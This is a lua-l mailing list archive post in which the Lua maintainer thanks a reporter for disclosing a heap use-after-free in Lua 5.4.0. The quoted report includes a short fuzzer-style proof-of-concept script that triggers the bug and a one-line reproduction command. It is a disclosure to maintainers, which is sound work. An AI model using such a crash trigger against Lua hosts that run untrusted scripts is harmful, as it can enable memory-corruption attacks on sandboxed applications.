lua-users home
lua-l archive

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


>    We found a heap use after free in lua. Here’s the details:
> 
>    Version:
> 
>    Lua 5.4.0, git hash c33b1728aeb7dfeec4013562660e07d32697aa6b
> 
>    POC:
> 
>    function errfunc() string.rep('mod', 512) end
> 
>    function test()
> 
>        load(function()(function() printload(
> 
>            xpcall(test, function() print(xpcall(test, errfunc)) end)) end)()
>    end)
> 
>    end(function() print(xpcall(test, errfunc)) end)()
> 
>     
> 
>    How to reproduce:
> 
>    ./lua poc.lua

Thanks for the report.

-- Roberto